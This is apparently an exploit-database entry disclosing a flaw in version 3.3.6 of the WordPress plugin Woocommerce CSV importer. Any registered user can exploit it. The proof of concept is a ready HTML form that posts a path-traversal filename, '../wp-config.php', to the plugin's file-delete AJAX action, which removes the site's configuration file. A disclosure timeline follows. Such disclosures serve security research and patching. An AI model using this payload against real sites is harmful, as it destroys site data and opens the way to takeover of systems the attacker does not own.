Woocommerce csvimporterplugin 3.3.6 remote code execution Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-04-09 | Type : webapps | Platform : php

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[+] Code ...

# Exploit Title: Plugin Woocommerce CSV importer 3.3.6 – RCE – Unlink
# Date: 08/04/2018
# Exploit Author: Lenon Leite
# Vendor Homepage: *https://wordpress.org/plugins/woocommerce-csvimport/
# Software Link: *https://wordpress.org/plugins/woocommerce-csvimport/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 3.3.6
# Tested on: Ubuntu 16.1
#

1 - Description

- Type user access: any user registered.
- $_POST['filename'] is not escaped.

2. Proof of Concept

<form method="post"
action="http://target/wp-admin/admin-ajax.php?action=delete_export_file">
<input type="text" name="filename" value="../wp-config.php">
<input type="submit">
</form>


- Date Discovery : *11/23/2017*
- Date Vendor Contact : *12/29/2017*
- Date Publish : 08/04/2018
- Date Resolution :


#*Atenciosamente*
#
#*Lenon Leite*